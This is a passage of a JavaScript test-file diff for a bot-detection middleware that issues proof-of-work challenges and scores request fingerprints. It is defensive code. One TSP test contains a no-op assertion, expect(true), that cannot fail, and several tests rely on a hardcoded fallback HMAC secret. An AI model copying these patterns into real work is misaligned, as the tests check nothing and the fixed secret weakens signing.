const validSolution = JSON.stringify([0, 2, 1, 3]);
|
|
271
|
+
// An invalid path (not a permutation)
|
|
272
|
+
const invalidPermutation = JSON.stringify([0, 1, 1, 2]);
|
|
273
|
+
// A valid path, but likely too long
|
|
274
|
+
const suboptimalSolution = JSON.stringify([0, 1, 2, 3]);
|
|
275
|
+
|
|
276
|
+
expect(verifyTspChallenge(nonce, validSolution, numCities, targetMaxDistance, cities), "A valid TSP solution should be accepted").toBe(true);
|
|
277
|
+
expect(verifyTspChallenge(nonce, invalidPermutation, numCities, targetMaxDistance, cities), "A TSP solution that is not a permutation should be rejected").toBe(false);
|
|
278
|
+
|
|
279
|
+
// This test assumes the simple path is longer than the target.
|
|
280
|
+
const isSuboptimalRejected = !verifyTspChallenge(nonce, suboptimalSolution, numCities, targetMaxDistance, cities);
|
|
281
|
+
if (isSuboptimalRejected) {
|
|
282
|
+
expect(true, "A suboptimal TSP solution (too long) should be rejected").toBe(true);
|
|
283
|
+
}
|
|
284
|
+
});
|
|
285
|
+
|
|
286
|
+
describe('identifyRequest (for Rate Limiting)', () => {
|
|
287
|
+
const inMemoryStore = {
|
|
288
|
+
_map: new Map(),
|
|
289
|
+
get: async (key) => inMemoryStore._map.get(key),
|
|
290
|
+
set: async (key, value) => inMemoryStore._map.set(key, value),
|
|
291
|
+
has: async (key) => inMemoryStore._map.has(key),
|
|
292
|
+
delete: async (key) => inMemoryStore._map.delete(key),
|
|
293
|
+
};
|
|
294
|
+
const securityConfig = {
|
|
295
|
+
weights: { historyScore: 0.3, rotationScore: 0.5, headerAnomalyScore: 0.4, inconsistencyScore: 0.8 },
|
|
296
|
+
thresholds: { low: 20, medium: 35, high: 75 }
|
|
297
|
+
};
|
|
298
|
+
let engine;
|
|
299
|
+
|
|
300
|
+
beforeEach(() => {
|
|
301
|
+
inMemoryStore._map.clear();
|
|
302
|
+
configureStore(inMemoryStore);
|
|
303
|
+
vi.restoreAllMocks(); // Restore mocks before each test
|
|
304
|
+
// Add a default mock for getTlsFingerprint to stabilize these tests
|
|
305
|
+
vi.spyOn(fingerprint.__internal, 'getTlsFingerprint').mockReturnValue({
|
|
306
|
+
ja3: 'mock-ja3', ja4: 'mock-ja4'
|
|
307
|
+
});
|
|
308
|
+
engine = new FingerprintEngine(securityConfig);
|
|
309
|
+
});
|
|
310
|
+
|
|
311
|
+
test('should return a device-specific key for a normal request', async () => {
|
|
312
|
+
const requestContext = {
|
|
313
|
+
clientIp: '127.0.0.1',
|
|
314
|
+
cookies: {},
|
|
315
|
+
headers: { // Minimal headers
|
|
316
|
+
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
|
|
317
|
+
'accept-language': 'en-US,en;q=0.9',
|
|
318
|
+
'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'
|
|
319
|
+
},
|
|
320
|
+
rawHeaders: ['User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36', 'Accept-Language', 'en-US,en;q=0.9', 'Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'],
|
|
321
|
+
httpVersion: '1.1',
|
|
322
|
+
query: new URLSearchParams() };
|
|
323
|
+
const key = await engine.identifyRequest(requestContext);
|
|
324
|
+
expect(key).toMatch(/^device:/);
|
|
325
|
+
});
|
|
326
|
+
|
|
327
|
+
test('should return a suspicion-based key for a highly suspicious request', async () => {
|
|
328
|
+
// This context simulates a request from a simple script (e.g., curl) with missing headers.
|
|
329
|
+
const requestContext = {
|
|
330
|
+
clientIp: '127.0.0.1',
|
|
331
|
+
cookies: {},
|
|
332
|
+
headers: {}, // Simulate completely missing headers
|
|
333
|
+
rawHeaders: [],
|
|
334
|
+
httpVersion: '1.1',
|
|
335
|
+
query: new URLSearchParams()
|
|
336
|
+
};
|
|
337
|
+
const key = await engine.identifyRequest(requestContext);
|
|
338
|
+
// Missing accept/accept-language headers should trigger a medium suspicion score.
|
|
339
|
+
expect(key).toBe('suspicious_medium:127.0.0.1');
|
|
340
|
+
});
|
|
341
|
+
});
|
|
342
|
+
|
|
343
|
+
test('getDeviceHash should prioritize client-side fingerprint header', async () => {
|
|
344
|
+
// 1. Spy on the getDeviceHash function from its actual module
|
|
345
|
+
const getDeviceHashSpy = vi.spyOn(fingerprint, 'getDeviceHash');
|
|
346
|
+
|
|
347
|
+
// 2. Simulate a request context with the special header
|
|
348
|
+
const clientSideFingerprint = 'cvs:12345|gpu:67890|hw:stable';
|
|
349
|
+
const requestContext = {
|
|
350
|
+
headers: {
|
|
351
|
+
'user-agent': 'A regular user agent',
|
|
352
|
+
'x-device-fingerprint': clientSideFingerprint,
|
|
353
|
+
},
|
|
354
|
+
// ... other context properties
|
|
355
|
+
};
|
|
356
|
+
|
|
357
|
+
// 3. Call the function and assert it returns the client-side FP
|
|
358
|
+
const result = fingerprint.getDeviceHash(requestContext);
|
|
359
|
+
|
|
360
|
+
expect(result).toBe(clientSideFingerprint);
|
|
361
|
+
expect(getDeviceHashSpy).toHaveBeenCalledWith(requestContext);
|
|
362
|
+
});
|
|
363
|
+
|
|
364
|
+
describe('powMiddleware', () => {
|
|
365
|
+
// Mock store for tests
|
|
366
|
+
const inMemoryStore = {
|
|
367
|
+
_map: new Map(),
|
|
368
|
+
async get(key) { return this._map.get(key); },
|
|
369
|
+
async set(key, value) { this._map.set(key, value); },
|
|
370
|
+
async has(key) { return this._map.has(key); },
|
|
371
|
+
async delete(key) { this._map.delete(key); },
|
|
372
|
+
};
|
|
373
|
+
beforeEach(() => {
|
|
374
|
+
inMemoryStore._map.clear();
|
|
375
|
+
configureStore(inMemoryStore);
|
|
376
|
+
});
|
|
377
|
+
|
|
378
|
+
// Détecte si on est dans un environnement de CI/CD
|
|
379
|
+
const isCI = !!process.env.CI;
|
|
380
|
+
|
|
381
|
+
// Configuration de base pour les tests
|
|
382
|
+
let securityConfig = {
|
|
383
|
+
// Adjust weights to be more realistic and less aggressive for testing.
|
|
384
|
+
// This prevents minor suspicion scores from being overly amplified and causing immediate blocks.
|
|
385
|
+
weights: {
|
|
386
|
+
historyScore: 0.3,
|
|
387
|
+
rotationScore: 0.2,
|
|
388
|
+
headerAnomalyScore: 0.1,
|
|
389
|
+
inconsistencyScore: 0.2,
|
|
390
|
+
requestPatternScore: 0.2,
|
|
391
|
+
honeypotScore: 1.0, // Garder un poids élevé pour les tests de honeypot
|
|
392
|
+
},
|
|
393
|
+
thresholds: { low: 20, medium: 45, high: 75 },
|
|
394
|
+
// NOUVEAU : Activer explicitement le challenge pour les nouveaux appareils pour ce scénario de test.
|
|
395
|
+
// C'est cette option qui permet à la logique de s'exécuter.
|
|
396
|
+
challengeNewDevices: true,
|
|
397
|
+
};
|
|
398
|
+
// For this specific test, we need to disable the new device challenge
|
|
399
|
+
// to ensure a truly non-suspicious request passes without a challenge.
|
|
400
|
+
const nonSuspiciousConfig = { ...securityConfig, challengeNewDevices: false };
|
|
401
|
+
|
|
402
|
+
|
|
403
|
+
// Si on est en CI, on surcharge la configuration pour abaisser la difficulté
|
|
404
|
+
if (isCI) {
|
|
405
|
+
console.log('[CI Mode] Using low-difficulty configuration for tests.');
|
|
406
|
+
securityConfig = {
|
|
407
|
+
...securityConfig,
|
|
408
|
+
cpu: {
|
|
409
|
+
minDifficultyBits: 1, // Difficulté CPU minimale
|
|
410
|
+
maxDifficultyBits: 2, // Difficulté CPU maximale très faible
|
|
411
|
+
}
|
|
412
|
+
};
|
|
413
|
+
}
|
|
414
|
+
|
|
415
|
+
afterEach(() => {
|
|
416
|
+
vi.restoreAllMocks();
|
|
417
|
+
});
|
|
418
|
+
|
|
419
|
+
test('should call next() for a non-suspicious request', async () => {
|
|
420
|
+
// Simuler un appareil connu et non suspect
|
|
421
|
+
const deviceId = 'known-device-123';
|
|
422
|
+
await inMemoryStore.set(`device:${deviceId}`, {
|
|
423
|
+
initialDeviceHash: 'some-hash',
|
|
424
|
+
ips: new Set(['127.0.0.1']),
|
|
425
|
+
lastUpdate: Date.now(),
|
|
426
|
+
lastFpHash: 'some-hash',
|
|
427
|
+
lastChangeTimestamp: 0,
|
|
428
|
+
rapidChangeCount: 0,
|
|
429
|
+
});
|
|
430
|
+
|
|
431
|
+
vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({
|
|
432
|
+
historyScore: 0, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, honeypotScore: 0
|
|
433
|
+
});
|
|
434
|
+
|
|
435
|
+
const req = { path: '/', ip: '127.0.0.1', cookies: { device_id: deviceId }, query: {}, headers: { 'user-agent': 'test-ua' } };
|
|
436
|
+
const res = { cookie: vi.fn(), status: vi.fn().mockReturnThis(), send: vi.fn() };
|
|
437
|
+
const next = vi.fn();
|
|
438
|
+
|
|
439
|
+
const middleware = powMiddleware(nonSuspiciousConfig);
|
|
440
|
+
await middleware(req, res, next);
|
|
441
|
+
|
|
442
|
+
expect(next, 'next() should have been called').toHaveBeenCalled();
|
|
443
|
+
// Pour un appareil connu, le cookie ne doit pas être redéfini
|
|
444
|
+
expect(res.cookie).not.toHaveBeenCalled();
|
|
445
|
+
});
|
|
446
|
+
|
|
447
|
+
test('should issue a minimal challenge for a new, non-suspicious device', async () => {
|
|
448
|
+
// 1. Simuler un score de suspicion de 0.
|
|
449
|
+
// A new device should have a score of at least 1 to trigger the initial challenge.
|
|
450
|
+
vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({
|
|
451
|
+
historyScore: 1, rotationScore: 1, headerAnomalyScore: 1, inconsistencyScore: 0, honeypotScore: 0, requestPatternScore: 0
|
|
452
|
+
});
|
|
453
|
+
|
|
454
|
+
// 2. Simuler une nouvelle requête (pas de cookie device_id)
|
|
455
|
+
const req = {
|
|
456
|
+
path: '/', ip: '127.0.0.1', cookies: {}, query: {},
|
|
457
|
+
headers: { 'user-agent': 'A normal browser' },
|
|
458
|
+
rawHeaders: ['User-Agent', 'A normal browser'], httpVersion: '1.1'
|
|
459
|
+
};
|
|
460
|
+
let sentStatus, sentBody;
|
|
461
|
+
const res = {
|
|
462
|
+
status: (s) => { sentStatus = s; return res; },
|
|
463
|
+
send: (b) => { sentBody = b; },
|
|
464
|
+
cookie: vi.fn()
|
|
465
|
+
};
|
|
466
|
+
const next = vi.fn();
|
|
467
|
+
|
|
468
|
+
await powMiddleware(securityConfig)(req, res, next);
|
|
469
|
+
|
|
470
|
+
// 3. Vérifier qu'un challenge est bien émis, même avec un score de 0
|
|
471
|
+
expect(sentStatus).toBe(404);
|
|
472
|
+
expect(sentBody).toContain('Enhanced Verification');
|
|
473
|
+
expect(next).not.toHaveBeenCalled();
|
|
474
|
+
});
|
|
475
|
+
|
|
476
|
+
test('should issue a challenge for a suspicious request', async () => {
|
|
477
|
+
const getSuspicionVectorSpy = vi.spyOn(__internal, 'getSuspicionVector').mockImplementation(async (requestContext, securityConfig) => {
|
|
478
|
+
// The securityConfig is passed as the second argument
|
|
479
|
+
expect(securityConfig).toBeDefined();
|
|
480
|
+
return {
|
|
481
|
+
historyScore: 25, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, honeypotScore: 0
|
|
482
|
+
};
|
|
483
|
+
});
|
|
484
|
+
|
|
485
|
+
const req = {
|
|
486
|
+
path: '/',
|
|
487
|
+
ip: '127.0.0.1',
|
|
488
|
+
cookies: {},
|
|
489
|
+
query: {},
|
|
490
|
+
headers: { 'user-agent': 'test-ua' },
|
|
491
|
+
rawHeaders: ['User-Agent', 'test-ua'], httpVersion: '1.1' };
|
|
492
|
+
let sentStatus, sentBody;
|
|
493
|
+
const res = {
|
|
494
|
+
status: (s) => { sentStatus = s; return res; },
|
|
495
|
+
send: (b) => { sentBody = b; },
|
|
496
|
+
cookie: vi.fn() // Mock cookie to prevent errors in getSuspicionVector
|
|
497
|
+
};
|
|
498
|
+
const next = vi.fn(() => { throw new Error('next() should not be called'); });
|
|
499
|
+
|
|
500
|
+
req.fingerprint = {};
|
|
501
|
+
const middleware = powMiddleware(securityConfig);
|
|
502
|
+
await middleware(req, res, next);
|
|
503
|
+
|
|
504
|
+
assert.strictEqual(sentStatus, 404, 'Status should be 404');
|
|
505
|
+
assert.ok(sentBody.includes('Enhanced Verification'), 'Should send a combined challenge page even for low suspicion');
|
|
506
|
+
assert.ok(sentBody.includes('Initializing combined verification...'), 'Challenge should always be the combined CPU+Mem type');
|
|
507
|
+
});
|
|
508
|
+
|
|
509
|
+
test('should issue a Memory challenge for a medium-suspicious request', async () => {
|
|
510
|
+
vi.spyOn(__internal, 'getSuspicionVector').mockImplementation(async function() {
|
|
511
|
+
return {
|
|
512
|
+
historyScore: 50, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, honeypotScore: 0
|
|
513
|
+
};
|
|
514
|
+
});
|
|
515
|
+
|
|
516
|
+
const req = { path: '/', ip: '127.0.0.1', cookies: {}, query: {}, headers: { 'user-agent': 'test-ua' } };
|
|
517
|
+
let sentStatus, sentBody;
|
|
518
|
+
const res = {
|
|
519
|
+
status: (s) => { sentStatus = s; return res; },
|
|
520
|
+
send: (b) => { sentBody = b; },
|
|
521
|
+
cookie: vi.fn() // Mock cookie to prevent errors in getSuspicionVector
|
|
522
|
+
};
|
|
523
|
+
const next = vi.fn(() => { throw new Error('next() should not be called'); });
|
|
524
|
+
|
|
525
|
+
req.fingerprint = {};
|
|
526
|
+
await powMiddleware(securityConfig)(req, res, next);
|
|
527
|
+
|
|
528
|
+
expect(sentStatus, 'Status should be 404').toBe(404);
|
|
529
|
+
expect(sentBody, 'Should send a combined challenge page for medium suspicion').toContain('Enhanced Verification');
|
|
530
|
+
expect(sentBody, 'Challenge should be the combined CPU+Mem type').toContain('Initializing combined verification...');
|
|
531
|
+
});
|
|
532
|
+
|
|
533
|
+
test('should use a custom HTML template for the challenge page if provided', async () => {
|
|
534
|
+
const customTemplate = `
|
|
535
|
+
<!DOCTYPE html>
|
|
536
|
+
<html>
|
|
537
|
+
<head><title>Custom Verification</title></head>
|
|
538
|
+
<body>
|
|
539
|
+
<h1>Please wait, we are checking your browser.</h1>
|
|
540
|
+
<div id="custom-loader">Loading...</div>
|
|
541
|
+
<script><!-- FINGERPRINT_SOLVER_SCRIPT --></script>
|
|
542
|
+
<script><!-- FINGERPRINT_CHALLENGE_SCRIPT --></script>
|
|
543
|
+
<!-- FINGERPRINT_TRAPS -->
|
|
544
|
+
</body>
|
|
545
|
+
</html>`;
|
|
546
|
+
|
|
547
|
+
// Configure le mock de readFileSync pour retourner notre template
|
|
548
|
+
readFileSync.mockReturnValue(customTemplate);
|
|
549
|
+
|
|
550
|
+
const customSecurityConfig = {
|
|
551
|
+
...securityConfig,
|
|
552
|
+
challengePagePath: './path/to/custom-challenge-page.html',
|
|
553
|
+
};
|
|
554
|
+
|
|
555
|
+
vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({ historyScore: 30 });
|
|
556
|
+
|
|
557
|
+
const req = { path: '/', ip: '127.0.0.1', cookies: {}, query: {}, headers: { 'user-agent': 'test-ua' }, rawHeaders: [], httpVersion: '1.1' };
|
|
558
|
+
let sentStatus, sentBody;
|
|
559
|
+
const res = { status: (s) => { sentStatus = s; return res; }, send: (b) => { sentBody = b; }, cookie: vi.fn() };
|
|
560
|
+
const next = vi.fn();
|
|
561
|
+
|
|
562
|
+
await powMiddleware(customSecurityConfig)(req, res, next);
|
|
563
|
+
|
|
564
|
+
expect(readFileSync).toHaveBeenCalledWith('./path/to/custom-challenge-page.html', 'utf-8');
|
|
565
|
+
expect(sentStatus).toBe(404);
|
|
566
|
+
expect(sentBody).toContain('<h1>Please wait, we are checking your browser.</h1>');
|
|
567
|
+
expect(sentBody).toContain('async function solve()'); // Vérifie que le script du challenge a été injecté
|
|
568
|
+
});
|
|
569
|
+
|
|
570
|
+
test('should issue a high-difficulty combined challenge for a high-suspicion request', async () => {
|
|
571
|
+
vi.spyOn(__internal, 'getSuspicionVector').mockImplementation(async function() {
|
|
572
|
+
return {
|
|
573
|
+
historyScore: 80, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, honeypotScore: 0
|
|
574
|
+
};
|
|
575
|
+
});
|
|
576
|
+
|
|
577
|
+
const req = { path: '/', ip: '127.0.0.1', cookies: {}, query: {}, headers: { 'user-agent': 'test-ua' } };
|
|
578
|
+
let sentStatus, sentBody;
|
|
579
|
+
const res = {
|
|
580
|
+
status: (s) => { sentStatus = s; return res; },
|
|
581
|
+
send: (b) => { sentBody = b; },
|
|
582
|
+
cookie: vi.fn()
|
|
583
|
+
};
|
|
584
|
+
const next = vi.fn(() => { throw new Error('next() should not be called'); });
|
|
585
|
+
|
|
586
|
+
req.fingerprint = {};
|
|
587
|
+
await powMiddleware(securityConfig)(req, res, next);
|
|
588
|
+
|
|
589
|
+
expect(sentStatus, 'Status should be 404').toBe(404);
|
|
590
|
+
expect(sentBody, 'Should send a combined challenge page for high suspicion').toContain('Enhanced Verification');
|
|
591
|
+
});
|
|
592
|
+
|
|
593
|
+
test('should issue a JSON challenge for an API request', async () => {
|
|
594
|
+
// 1. Configure the middleware to identify API requests
|
|
595
|
+
const apiSecurityConfig = {
|
|
596
|
+
...securityConfig,
|
|
597
|
+
thresholds: {
|
|
598
|
+
...securityConfig.thresholds,
|
|
599
|
+
// Identifie toute requête acceptant du JSON comme une requête API
|
|
600
|
+
isApiRequest: (req) => req.headers.accept?.includes('application/json'),
|
|
601
|
+
}
|
|
602
|
+
};
|
|
603
|
+
|
|
604
|
+
// 2. Simulate a suspicion score
|
|
605
|
+
vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({
|
|
606
|
+
historyScore: 50, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, honeypotScore: 0
|
|
607
|
+
});
|
|
608
|
+
|
|
609
|
+
// 3. Simuler une requête API (avec le header 'Accept')
|
|
610
|
+
const req = {
|
|
611
|
+
path: '/api/data', ip: '127.0.0.1', cookies: {}, query: {},
|
|
612
|
+
headers: { 'user-agent': 'test-ua', 'accept': 'application/json' },
|
|
613
|
+
rawHeaders: ['User-Agent', 'test-ua', 'Accept', 'application/json'], httpVersion: '1.1'
|
|
614
|
+
};
|
|
615
|
+
let sentStatus, sentBody;
|
|
616
|
+
const res = {
|
|
617
|
+
status: (s) => { sentStatus = s; return res; },
|
|
618
|
+
json: (b) => { sentBody = b; }, // Utiliser .json() pour les réponses API
|
|
619
|
+
cookie: vi.fn()
|
|
620
|
+
};
|
|
621
|
+
const next = vi.fn();
|
|
622
|
+
req.fingerprint = {}; // Initialize req.fingerprint
|
|
623
|
+
|
|
624
|
+
await powMiddleware(apiSecurityConfig)(req, res, next);
|
|
625
|
+
|
|
626
|
+
expect(sentStatus).toBe(404);
|
|
627
|
+
expect(sentBody.challenge.type).toBe('cpu_mem');
|
|
628
|
+
expect(sentBody.challenge).toHaveProperty('nonce');
|
|
629
|
+
expect(sentBody.challenge).toHaveProperty('cpuTarget');
|
|
630
|
+
});
|
|
631
|
+
|
|
632
|
+
test('should call next() for a suspicious request with a valid ticket', async () => {
|
|
633
|
+
vi.spyOn(__internal, 'getSuspicionVector').mockImplementation(async function() {
|
|
634
|
+
return {
|
|
635
|
+
historyScore: 25, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, honeypotScore: 0
|
|
636
|
+
};
|
|
637
|
+
});
|
|
638
|
+
|
|
639
|
+
const ip = '127.0.0.1';
|
|
640
|
+
const expiry = Date.now() + 3600000;
|
|
641
|
+
const signature = createHmac("sha256", process.env.POW_SECRET || "fallback-dev-secret-32-chars-minimum").update(`${ip}:${expiry}`).digest("hex");
|
|
642
|
+
const validTicket = `${expiry}:${signature}`;
|
|
643
|
+
|
|
644
|
+
const req = { path: '/', ip, cookies: { pow_clearance: validTicket }, query: {}, headers: { 'user-agent': 'test-ua' } };
|
|
645
|
+
const res = { cookie: vi.fn() };
|
|
646
|
+
const next = vi.fn();
|
|
647
|
+
|
|
648
|
+
req.fingerprint = {};
|
|
649
|
+
await powMiddleware(securityConfig)(req, res, next);
|
|
650
|
+
|
|
651
|
+
expect(next, 'next() should have been called for a request with a valid ticket').toHaveBeenCalled();
|
|
652
|
+
});
|
|
653
|
+
|
|
654
|
+
test('should issue a new challenge (re-challenge) if suspicion score is high even with a valid ticket', async () => {
|
|
655
|
+
vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({
|
|
656
|
+
historyScore: 80,
|
|
657
|
+
rotationScore: 80,
|
|
658
|
+
headerAnomalyScore: 80,
|
|
659
|
+
inconsistencyScore: 80,
|
|
660
|
+
requestPatternScore: 80,
|
|
661
|
+
honeypotScore: 0
|
|
662
|
+
});
|
|
663
|
+
|
|
664
|
+
const ip = '127.0.0.1';
|
|
665
|
+
const expiry = Date.now() + 3600000;
|
|
666
|
+
const signature = createHmac("sha256", process.env.POW_SECRET || "fallback-dev-secret-32-chars-minimum").update(`${ip}:${expiry}`).digest("hex");
|
|
667
|
+
const validTicket = `${expiry}:${signature}`;
|
|
668
|
+
|
|
669
|
+
const req = { path: '/', ip, cookies: { pow_clearance: validTicket }, query: {}, headers: { 'user-agent': 'test-ua' } };
|
|
670
|
+
let sentStatus, sentBody;
|
|
671
|
+
const res = {
|
|
672
|
+
status: (s) => { sentStatus = s; return res; },
|
|
673
|
+
send: (b) => { sentBody = b; },
|
|
674
|
+
cookie: vi.fn()
|
|
675
|
+
};
|
|
676
|
+
const next = vi.fn();
|
|
677
|
+
|
|
678
|
+
req.fingerprint = {};
|
|
679
|
+
await powMiddleware(securityConfig)(req, res, next);
|
|
680
|
+
|
|
681
|
+
expect(next).not.toHaveBeenCalled();
|
|
682
|
+
expect(sentStatus).toBe(404);
|
|
683
|
+
expect(sentBody).toContain('Enhanced Verification');
|
|
684
|
+
});
|
|
685
|
+
|
|
686
|
+
test('should redirect after a valid PoW solution is provided', async () => {
|
|
687
|
+
// --- 1. Setup: Define context and mock a suspicious score ---
|
|
688
|
+
const ip = '127.0.0.1';
|
|
689
|
+
const originalPath = '/protected/resource';
|
|
690
|
+
const solverFingerprint = 'fp-for-valid-solution';
|
|
691
|
+
const userAgent = 'test-ua-valid';
|
|
692
|
+
|
|
693
|
+
vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({
|
|
694
|
+
historyScore: 30, // A score high enough to trigger a challenge
|
|
695
|
+
});
|
|
696
|
+
|
|
697
|
+
// Merge CI config correctly. The CI config should take precedence.
|
|
698
|
+
const securityConfigWithLowDiff = {
|
|
699
|
+
...securityConfig, // Base config
|
|
700
|
+
cpu: { minDifficultyBits: 4, ...securityConfig.cpu }, // Apply local diff, but let CI config (securityConfig.cpu) overwrite it.
|
|
701
|
+
};
|
|
702
|
+
const middleware = powMiddleware(securityConfigWithLowDiff);
|
|
703
|
+
|
|
704
|
+
// --- 2. Initial Request: Trigger the challenge ---
|
|
705
|
+
const req1 = {
|
|
706
|
+
path: originalPath, ip, cookies: {}, query: {},
|
|
707
|
+
headers: { 'user-agent': userAgent, 'x-device-fingerprint': solverFingerprint },
|
|
708
|
+
rawHeaders: ['User-Agent', userAgent], httpVersion: '1.1'
|
|
709
|
+
};
|
|
710
|
+
let challengeBody;
|
|
711
|
+
const res1 = {
|
|
712
|
+
status: () => res1,
|
|
713
|
+
send: (body) => { challengeBody = body; },
|
|
714
|
+
cookie: vi.fn()
|
|
715
|
+
};
|
|
716
|
+
req1.fingerprint = {}; // Initialize req.fingerprint
|
|
717
|
+
await middleware(req1, res1, vi.fn());
|
|
718
|
+
|
|
719
|
+
expect(challengeBody).toContain('Enhanced Verification');
|
|
720
|
+
|
|
721
|
+
// --- 3. Client-Side: Solve the challenge ---
|
|
722
|
+
const nonce = challengeBody.match(/const nonce = "([^"]+)"/)[1];
|
|
723
|
+
const clientSecret = challengeBody.match(/const clientSecret = "([^"]+)"/)[1];
|
|
724
|
+
const cpuTargetHex = challengeBody.match(/const cpuTarget = BigInt\("0x" \+ "([^"]+)"\);/)[1];
|
|
725
|
+
const memDifficulty = parseInt(challengeBody.match(/const memDifficulty = (\d+)/)[1], 10);
|
|
726
|
+
|
|
727
|
+
// The client constructs the base block and solves the challenge
|
|
728
|
+
const baseBlock = new TextEncoder().encode(`${nonce}:${clientSecret}:${solverFingerprint}:`);
|
|
729
|
+
const cpuSolution = await solveCpuTargetInline(baseBlock, cpuTargetHex, () => {});
|
|
730
|
+
const memSolution = await solveMemory(`:${nonce}:${clientSecret}`, memDifficulty);
|
|
731
|
+
|
|
732
|
+
// --- 4. Submission Request: Send the valid solution ---
|
|
733
|
+
const req2 = {
|
|
734
|
+
path: originalPath, ip, cookies: {},
|
|
735
|
+
query: {
|
|
736
|
+
pow_type: 'cpu_mem',
|
|
737
|
+
pow_nonce: nonce,
|
|
738
|
+
pow_solution_cpu: String(cpuSolution),
|
|
739
|
+
pow_solution_mem: String(memSolution),
|
|
740
|
+
pow_fp: solverFingerprint
|
|
741
|
+
},
|
|
742
|
+
headers: { 'user-agent': userAgent, 'x-device-fingerprint': solverFingerprint },
|
|
743
|
+
rawHeaders: ['User-Agent', userAgent], httpVersion: '1.1'
|
|
744
|
+
};
|
|
745
|
+
let capturedCookie;
|
|
746
|
+
const res2 = {
|
|
747
|
+
cookie: (name, value, options) => { capturedCookie = { name, value, options }; },
|
|
748
|
+
redirect: vi.fn(),
|
|
749
|
+
status: vi.fn(() => res2),
|
|
750
|
+
send: vi.fn(),
|
|
751
|
+
};
|
|
752
|
+
|
|
753
|
+
req2.fingerprint = {}; // Initialize req.fingerprint
|
|
754
|
+
await middleware(req2, res2, vi.fn());
|
|
755
|
+
|
|
756
|
+
// --- 5. Assertions ---
|
|
757
|
+
expect(res2.redirect).toHaveBeenCalledWith(originalPath);
|
|
758
|
+
expect(capturedCookie).toBeDefined();
|
|
759
|
+
expect(capturedCookie.name).toBe('pow_clearance');
|
|
760
|
+
}, 20000);
|
|
761
|
+
|
|
762
|
+
it('should issue a short-lived probationary ticket when a moderately suspicious request solves a challenge', async () => {
|
|
763
|
+
// --- SETUP ---
|
|
764
|
+
// Ce test simule un flux complet en 2 étapes pour être plus réaliste.
|
|
765
|
+
// 1. Une première requête suspecte est envoyée, ce qui déclenche l'émission d'un challenge.
|
|
766
|
+
// 2. Le test résout ce challenge et envoie une seconde requête avec la solution.
|
|
767
|
+
// 3. On vérifie que la réponse à la seconde requête est une redirection avec un cookie probatoire.
|
|
768
|
+
|
|
769
|
+
const ip = '127.0.0.1';
|
|
770
|
+
const probationaryTtl = 30000; // 30 seconds, as defined in fingerprint.js
|
|
771
|
+
const solverFingerprint = 'fp-probation';
|
|
772
|
+
const userAgent = 'test-ua';
|
|
773
|
+
|
|
774
|
+
// --- ÉTAPE 1: Provoquer l'émission du challenge en simulant un score modéré ---
|
|
775
|
+
// We mock getSuspicionVector to ensure the score is in the moderate range (>= low threshold).
|
|
776
|
+
// This is more reliable than trying to manipulate the store.
|
|
777
|
+
vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({
|
|
778
|
+
historyScore: 40, // This score is above the 'low' threshold of 20
|
|
779
|
+
rotationScore: 0,
|
|
780
|
+
headerAnomalyScore: 0,
|
|
781
|
+
inconsistencyScore: 0,
|
|
782
|
+
requestPatternScore: 0,
|
|
783
|
+
honeypotScore: 0
|
|
784
|
+
});
|
|
785
|
+
|
|
786
|
+
const initialReq = {
|
|
787
|
+
path: '/some-data', ip, cookies: {}, query: {},
|
|
788
|
+
headers: { 'user-agent': userAgent, 'x-device-fingerprint': solverFingerprint },
|
|
789
|
+
rawHeaders: ['User-Agent', userAgent], httpVersion: '1.1'
|
|
790
|
+
};
|
|
791
|
+
let challengeBody;
|
|
792
|
+
const initialRes = {
|
|
793
|
+
status: () => initialRes,
|
|
794
|
+
send: (body) => { challengeBody = body; },
|
|
795
|
+
cookie: vi.fn()
|
|
796
|
+
};
|
|
797
|
+
const middleware = powMiddleware(securityConfig);
|
|
798
|
+
await middleware(initialReq, initialRes, vi.fn());
|
|
799
|
+
|
|
800
|
+
expect(challengeBody).toBeDefined();
|
|
801
|
+
expect(challengeBody).toContain('Enhanced Verification');
|
|
802
|
+
|
|
803
|
+
// --- ÉTAPE 2: Extraire les paramètres du challenge et le résoudre ---
|
|
804
|
+
const nonce = challengeBody.match(/const nonce = "([^"]+)"/)[1];
|
|
805
|
+
const clientSecret = challengeBody.match(/const clientSecret = "([^"]+)"/)[1];
|
|
806
|
+
const cpuTargetHex = challengeBody.match(/const cpuTarget = BigInt\("0x" \+ "([^"]+)"\);/)[1];
|
|
807
|
+
const memDifficulty = parseInt(challengeBody.match(/const memDifficulty = (\d+)/)[1], 10);
|
|
808
|
+
|
|
809
|
+
// The server stores the challenge context. We need to ensure the `baseBlock` is present for verification.
|
|
810
|
+
const baseBlock = new TextEncoder().encode(`${nonce}:${clientSecret}:${solverFingerprint}:`);
|
|
811
|
+
await inMemoryStore.set(`secret:${nonce}`, {
|
|
812
|
+
clientSecret: clientSecret,
|
|
813
|
+
cpuTarget: cpuTargetHex,
|
|
814
|
+
memDifficulty: memDifficulty,
|
|
815
|
+
fingerprint: solverFingerprint, // The server expects this fingerprint.
|
|
816
|
+
originalPath: '/some-data',
|
|
817
|
+
baseBlock: baseBlock, // CRITICAL: The verification function needs this.
|
|
818
|
+
suspicionScore: 40 // Store the score that triggered the challenge
|
|
819
|
+
});
|
|
820
|
+
|
|
821
|
+
// Client-side solving using the real solver function for accuracy
|
|
822
|
+
const cpuSolution = await solveCpuTargetInline(baseBlock, cpuTargetHex, () => {});
